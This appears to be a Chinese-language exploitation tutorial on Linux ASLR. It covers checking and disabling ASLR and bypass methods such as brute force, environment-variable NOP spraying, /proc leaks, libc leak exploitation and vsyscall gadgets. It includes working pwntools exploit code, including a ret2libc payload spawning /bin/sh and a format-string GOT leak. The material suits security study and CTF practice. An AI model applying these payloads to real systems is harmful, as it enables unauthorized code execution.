基本信息
地址空间布局随机化 (ASLR) 是一种在操作系统中使用的安全技术,用于 随机化系统和应用程序进程使用的内存地址 。通过这样做,它使攻击者预测特定进程和数据(如堆栈、堆和库)的位置变得更加困难,从而减轻某些类型的攻击,特别是缓冲区溢出。
检查 ASLR 状态
要 检查 Linux 系统上的 ASLR 状态,可以从 /proc/sys/kernel/randomize_va_space
文件中读取值。存储在此文件中的值决定了应用的 ASLR 类型:
1 :保守随机化。共享库、堆栈、mmap()、VDSO 页面被随机化。
2 :完全随机化。除了保守随机化随机化的元素外,通过 brk()
管理的内存也被随机化。
您可以使用以下命令检查 ASLR 状态:
Copy cat /proc/sys/kernel/randomize_va_space
禁用 ASLR
要禁用 ASLR,您需要将 /proc/sys/kernel/randomize_va_space
的值设置为 0 。在测试或调试场景之外,通常不建议禁用 ASLR。以下是禁用它的方法:
Copy echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
您还可以通过以下方式禁用ASLR执行:
Copy setarch ` arch ` -R ./bin args
setarch ` uname -m ` -R ./bin args
启用 ASLR
要启用 ASLR,您可以将值 2 写入 /proc/sys/kernel/randomize_va_space
文件。这通常需要 root 权限。可以使用以下命令启用完全随机化:
Copy echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
重启后的持久性
使用 echo
命令所做的更改是临时的,并将在重启时重置。要使更改持久化,您需要编辑 /etc/sysctl.conf
文件,并添加或修改以下行:
Copy kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
在编辑 /etc/sysctl.conf
后,使用以下命令应用更改:
这将确保您的 ASLR 设置在重启后保持不变。
绕过
32位暴力破解
PaX 将进程地址空间分为 3 组 :
代码和数据 (已初始化和未初始化):.text
、.data
和 .bss
—> delta_exec
变量中的 16 位 熵。该变量在每个进程中随机初始化,并添加到初始地址。
由 mmap()
分配的 内存 和 共享库 —> 16 位 ,称为 delta_mmap
。
栈 —> 24 位 ,称为 delta_stack
。然而,它实际上使用 11 位 (从第 10 字节到第 20 字节,包括),对齐到 16 字节 —> 这导致 524,288 个可能的真实栈地址 。
前面的数据适用于 32 位系统,减少的最终熵使得通过一次又一次地重试执行来绕过 ASLR 成为可能,直到利用成功完成。
暴力破解思路:
如果您有足够大的溢出以容纳 大 NOP sled 在 shellcode 之前 ,您可以在栈中暴力破解地址,直到流程 跳过 NOP sled 的某部分 。
如果溢出不那么大,并且利用可以在本地运行,另一种选择是 在环境变量中添加 NOP sled 和 shellcode 。
如果利用是本地的,您可以尝试暴力破解 libc 的基地址(对 32 位系统有用):
Copy for off in range ( 0x b7000000 , 0x b8000000 , 0x 1000 ):
如果攻击远程服务器,您可以尝试 暴力破解 libc
函数 usleep
的地址 ,传递参数 10(例如)。如果在某个时刻 服务器响应多了 10 秒 ,您就找到了这个函数的地址。
在 64 位系统中,熵要高得多,这不应该是可能的。
64 位栈暴力破解
可以用环境变量占用栈的大部分,然后尝试在本地数百/数千次滥用该二进制文件进行利用。
以下代码显示了如何 仅选择栈中的一个地址 ,并且每 几百次执行 ,该地址将包含 NOP 指令 :
Copy //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main () {
unsigned long long address = 0x ffffff1e7e38 ;
unsigned int* ptr = ( unsigned int* )address;
unsigned int value = * ptr;
printf( "The 4 bytes from address 0xffffff1e7e38: 0x %x \n" , value) ;
return 0 ;
}
Copy import subprocess
import traceback
# Start the process
nop = b "\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int ( 128000 / 4 )
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a' : shellcode_env_var ,
'b' : shellcode_env_var ,
'c' : shellcode_env_var ,
'd' : shellcode_env_var ,
'e' : shellcode_env_var ,
'f' : shellcode_env_var ,
'g' : shellcode_env_var ,
'h' : shellcode_env_var ,
'i' : shellcode_env_var ,
'j' : shellcode_env_var ,
'k' : shellcode_env_var ,
'l' : shellcode_env_var ,
'm' : shellcode_env_var ,
'n' : shellcode_env_var ,
'o' : shellcode_env_var ,
'p' : shellcode_env_var ,
}
cont = 0
while True :
cont += 1
if cont % 10000 == 0 :
break
print (cont, end = "\r" )
# Define the path to your binary
binary_path = './aslr-testing'
try :
process = subprocess . Popen (binary_path, env = env_vars, stdout = subprocess.PIPE, text = True )
output = process . communicate () [ 0 ]
if "0xd5" in str (output):
print ( str (cont) + " -> " + output)
except Exception as e :
print (e)
print (traceback. format_exc ())
pass
本地信息 (/proc/[pid]/stat
)
进程的文件 /proc/[pid]/stat
始终对所有人可读,并且 包含有趣的 信息,例如:
startcode & endcode : 二进制文件的 TEXT 上下的地址
start_data & end_data : BSS 上下的地址
kstkesp & kstkeip : 当前的 ESP 和 EIP 地址
arg_start & arg_end : cli arguments 上下的地址
env_start &env_end : env variables 上下的地址
因此,如果攻击者与被利用的二进制文件在同一台计算机上,并且该二进制文件不期望来自原始参数的溢出,而是来自读取此文件后可以构造的不同 输入 。攻击者可以 从此文件中获取一些地址并从中构造偏移量以进行利用 。
有一个泄漏
如果你得到了一个泄漏(简单的 CTF 挑战),你可以从中计算偏移量(假设例如你知道你正在利用的系统中使用的确切 libc 版本)。这个示例利用提取自 这里的示例 (查看该页面以获取更多详细信息):
Copy from pwn import *
elf = context . binary = ELF ( './vuln-32' )
libc = elf . libc
p = process ()
p . recvuntil ( 'at: ' )
system_leak = int (p. recvline (), 16 )
libc . address = system_leak - libc . sym [ 'system' ]
log . success ( f 'LIBC base: { hex (libc.address) } ' )
payload = flat (
'A' * 32 ,
libc.sym[ 'system' ],
0x 0 , # return address
next (libc. search ( b '/bin/sh' ))
)
p . sendline (payload)
p . interactive ()
利用缓冲区溢出,可以利用 ret2plt 来提取 libc 中一个函数的地址。检查:
就像在 ret2plt 中一样,如果通过格式字符串漏洞有任意读取的能力,可以从 GOT 中提取 libc 函数 的地址。以下 示例来自这里 :
Copy payload = p32 (elf.got[ 'puts' ]) # p64() if 64-bit
payload += b '|'
payload += b '%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload . ljust ( 40 , b 'A' ) # 40 is the offset until you're overwriting the instruction pointer
payload += p32 (elf.symbols[ 'main' ])
您可以在以下位置找到有关格式字符串任意读取的更多信息:
Ret2ret & Ret2pop
尝试通过利用栈内的地址来绕过 ASLR:
vsyscall
vsyscall
机制通过允许某些系统调用在用户空间中执行来提高性能,尽管它们本质上是内核的一部分。vsyscalls 的关键优势在于它们的 固定地址 ,这些地址不受 ASLR (地址空间布局随机化)的影响。这种固定特性意味着攻击者不需要信息泄漏漏洞来确定它们的地址并在利用中使用它们。
然而,这里不会找到超级有趣的小工具(尽管例如可以获得一个 ret;
等效指令)
(以下示例和代码来自 此写作 )
例如,攻击者可能在利用中使用地址 0xffffffffff600800
。虽然尝试直接跳转到 ret
指令可能会导致在执行几个小工具后不稳定或崩溃,但跳转到 vsyscall 部分提供的 syscall
开始处可能会成功。通过仔细放置一个 ROP 小工具,将执行引导到这个 vsyscall 地址,攻击者可以在不需要绕过 ASLR 的情况下实现代码执行。
Copy ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
因此,请注意,如果内核是使用 CONFIG_COMPAT_VDSO 编译的,通过滥用 vdso 绕过 ASLR 可能是可行的,因为 vdso 地址不会被随机化。有关更多信息,请查看: